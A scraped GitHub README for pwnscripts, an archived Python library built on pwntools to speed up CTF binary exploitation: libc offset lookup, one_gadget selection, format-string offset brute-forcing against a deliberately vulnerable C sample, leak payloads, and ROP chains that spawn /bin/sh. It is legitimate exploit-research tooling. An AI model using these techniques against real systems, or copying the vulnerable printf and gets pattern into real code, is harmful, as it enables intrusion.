Movatterモバイル変換


[0]ホーム

URL:


Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings
This repository was archived by the owner on Jul 7, 2024. It is now read-only.
/pwnscriptsPublic archive

Very simple script(s) to hasten binary exploit creation

License

NotificationsYou must be signed in to change notification settings

152334H/pwnscripts

Repository files navigation

TestsPyPI packagePython

Very simple script(s) to hasten binary exploit creation. To use,pip install pwnscripts OR run

git clone https://github.com/152334H/pwnscriptscd pwnscriptspip install -e.

and replacefrom pwn import * withfrom pwnscripts import *, e.g.

frompwnscriptsimport*context.binary='./my_challenge'...

Additionally, thelibc_database() extension of pwnscripts requires thelibc-database.

You might want to look at some of the examples inuser_tests_and_examples.py.

Features

Pwnscripts has a number of different features.

Libc

Things likeLibcSearcher have always felt incomplete.

Pwnscripts provides two libc classes:libc() andlibc_database(). The easiest way to start with both is withcontext:

context.libc_database='/path/to/libc-database'# https://github.com/niklasb/libc-databasecontext.libc='/path/to/pwnscripts/examples/libc.so.6'

Anything you can run with./libc-database/[executable] is available as alibc_database() method:

>>>context.libc_database.dump('libc6_2.27-3ubuntu1_amd64')b'offset___libc_start_main_ret = 0x21b97\noffset_system = 0x000000000004f440\noffset_dup2 = 0x00000000001109a0\noffset_read = 0x0000000000110070\noffset_write = 0x0000000000110140\noffset_str_bin_sh = 0x1b3e9a\n'>>>output=context.libc_database.add()>>>print(output.decode())Addinglocallibc/path/to/pwnscripts/examples/libc.so.6 (idlocal-18292bd12d37bfaf58e8dded9db7f1f5da1192cb/path/to/pwnscripts/examples/libc.so.6)->Writinglibc/path/to/pwnscripts/examples/libc.so.6todb/local-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so->Writingsymbolstodb/local-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.symbols->Writingversioninfo

libc_database() also has a few additional methods; you can look at thetests andexamples and documentation to see.


Thelibc() object is a subclass of pwntools'pwnlib.elf.elf.ELF(). It starts off with a base address of0, but you can change that to match a remote executable by providing it with leaked addresses:

>>>context.libc.symbols['scanf']=0x7fffa3b8b040# Provide a leaked address to libc>>>context.libc.address# This is automagically updated after assignment0x7fffa3b10000>>>context.libc.symbols['str_bin_sh']# Symbols from libc-database are stored in context.libc0x7fffa3cc3e9a

pwnscripts is smart aboutcontext.binary: ifcontext.libc is set,context.binary.process() will run with that libc version:

$ gcc -x c -<<<'int main(){printf("%p\n", printf);}'$ python3.8>>> from pwnscripts import*>>> context.log_level ='warn'>>> context.libc_database ='libc-database'>>> context.binary ='./a.out'>>> context.libc ='libc6_2.31-0ubuntu9_amd64'>>>context.binary.process().recvline()b'0x7fa0f3c3fe10\n'# printf 0000000000064e10>>> context.libc ='libc6_2.24-11+deb9u4_amd64'>>>context.binary.process().recvline()b'0x7fb99b69e190\n'# printf 000000000004f190

libc() providesone_gadget integration in the form of an interactive selection:

>>>context.libc.select_gadget()0x4f2c5execve("/bin/sh",rsp+0x40,environ)constraints:rsp&0xf==0rcx==NULL0x4f322execve("/bin/sh",rsp+0x40,environ)constraints:  [rsp+0x40]==NULL0x10a38cexecve("/bin/sh",rsp+0x70,environ)constraints:  [rsp+0x70]==NULL [?]choosethegadgettouse:1)0x4f2c52)0x4f3223)0x10a38cChoice

You're free to shut up the interactive menu by giving.select_gadget() an argument:

>>>context.libc.select_gadget(1)0x4f322

More features exist, but this is already too long.

Format string exploitation

printf() challenges are repetitive. Under thefsb module,pwnscripts makes an attempt to further abstract the process ofprintf() exploitation.

Consider this simple program:

//usr/bin/gcc -pie -fstack-protector-all -z,relro,-z,now "$0" -o test.o; exitintmain(){chars[200];fgets(s,199,stdin);printf(s);// leakergets(s+200);// overflow}

Let's further assume that you've decided to exploit this by returning to libc with the buffer overflow present.printf() can leak the runtime values of thestack canary &&libc page, but only after figuring out the specific stack offset (i.e. figuring outm for%m$p) for both of those values.

Similar to theFmtStr() class in pwntools, we'll start by setting up a python function to abstract away the i/o associated with this challenge in particular:

>>>@context.quiet...defprintf(line:str)->bytes:...r=context.binary.process()...r.send(line)...returnr.recvline()# return the output of printf()

With this function, We can automate the process of offset identification withfsb.leak_offset:

>>>context.binary='./test.o'>>>context.log_level='debug'# demonstration>>>canary_offset=fsb.find_offset.canary(printf)[DEBUG]cacheisat~/.cache/.pwntools-cache-3.8/fsb-cache/07e93d243fc1a7d88432cfb25bdc8bbb7b65fcabd6bb96ccea9c1ad027f2039f-default[DEBUG]pwnscripts:extracted0x7c[DEBUG]pwnscripts:extracted0x4141414141414141... (omittedlog) ...[DEBUG]pwnscripts:extracted0xcd088451e013aa00[*]pwnscripts.fsb.find_offsetfor'canary':31

With the canary found, we can move on to leaking libc. Since__libc_start_main_ret is located immediately after the canary in the stack, theprintf() cache maintained byfsb.find_offset will speed things up immensely:

>>>context.libc_database='../libc-database'# replace with yours>>>libc=libc('/lib/x86_64-linux-gnu/libc.so.6')# ibid>>>libc_offset=fsb.find_offset.libc(printf,...offset=libc.symbols['__libc_start_main_ret']&0xfff)# Specify that we're looking for a value matching __l_s_m_r[DEBUG]cacheisat/home/throwaway/.cache/.pwntools-cache-3.8/fsb-cache/07e93d243fc1a7d88432cfb25bdc8bbb7b65fcabd6bb96ccea9c1ad027f2039f-default(cached) [DEBUG]pwnscripts:extracted0x7c(cached) [DEBUG]pwnscripts:extracted0x4141414141414141... (omittedcachelog) ...(cached) [DEBUG]pwnscripts:extracted0x3ad0d999e654b800[DEBUG]pwnscripts:extracted0x0[DEBUG]pwnscripts:extracted0x7f17857870b3[*]pwnscripts.fsb.find_offsetfor'libc':33

More examples can be foundhere andhere.


Apart from offset bruteforcing,pwnscripts.fsb also contains a.leak submodule to make leaking values with%s more programmatic.

The simple idea is that you get a payload to leak printf values:

offset=fsb.find_offset.buffer(...)# == 6payload=fsb.leak.deref_payload(offset, [0x400123,0x600123])print(payload)# b'^^%10$s||%11$s$$#\x01@\x00#\x01`\x00'

And after sending the payload, extract the values with a helper function:

r=remote(...)r.sendline(payload)print(fsb.leak.deref_extractor(r.recvline()))# [b'\x80N\x03p\x94\x7f', b' \xeb\x04p\x94\x7f']

Minor features

Pwnscripts also comes with a few minor extensions and functions:

  • util: utility functions absent from pwntools. Some of the more useful things:
    • is_addr is an object you can use to check for specific address types. e.g.
      >>>context.arch='amd64'>>>is_addr.PIE(0x55f83ba1034d)True>>>is_addr.stack(0xba081240a911)False>>>is_addr.libc(0x7fba912bd93d)True
      These functions are heuristic-based: they don't guarantee correctness, but tend to hit the mark nonetheless.
    • unpack_*: Better unpacking functions. Some examples:
      >>>unpack_many_hex(b'jfawoa0x1234aokfw 0x123')[0x1234a,0x123]>>>unpack_bytes(b'\x12\x34\x56\x78\x90\xab\xcd\xef',6)0xab9078563412
  • rop.py: an extension of pwntools'pwnlib.rop.rop.ROP. Core feature is to simplify ROP building outside of SIGROP:
    >>>context.arch='amd64'>>>r=ROP('./binary')>>>r.system_call.execve(['/bin/sh',0,0])>>>print(r.dump())0x0000:0x44a309poprdx;poprsi;ret0x0008:0x0 [arg3]rdx=00x0010:0x0 [arg2]rsi=00x0018:0x41e4afpoprax;ret0x0020:0x3b [arg0]rax=SYS_execve0x0028:0x401696poprdi;ret0x0030:0x40 [arg1]rdi=AppendedArgument(['/bin/sh'],0x0)0x0038:0x4022b4SYS_execve0x0040:b'/bin/sh\x00'
  • As was implicit in prior sections,context has been expanded with a number of extra attributes:
    • .libc and.libc_database, which are useful for everything mentionedabove
    • .is_local, to check if the most recently opened pwntoolstube is a remote/local process
  • other unlisted features in development

Proper examples forpwnscripts are available inexamples/ anduser_tests_and_examples.py.

I tried using it; it doesn't work!

File in anissue, if you can. With a single-digit userbase, it's hard to guess what might go wrong, but potentially:

  • pwnscripts is broken

  • Python is outdated (try python3.8+)

  • libc-database is not properly installed/initialised (did you run ./get?)

  • The binary provided is neither i386 or amd64; other architectures are mostly ignored (out of necessity)

  • The challenge is amd64, butcontext.arch wasn't set toamd64

    • Setcontext.binary appropriately, or setcontext.arch manually if no binary is given
  • Other unknown reasons. Try making a pull-request if you're interested.

Updates

SeeCHANGELOG.md.

Although version numbers follow theSemantic Versioning format, backwards compatibility is never assured; historicalpwnscripts behaviour will be broken where appropriate.

Gradual updates expected as I continue to do pwn.

Releases

No releases published

Packages

No packages published

Languages


[8]ページ先頭

©2009-2026 Movatter.jp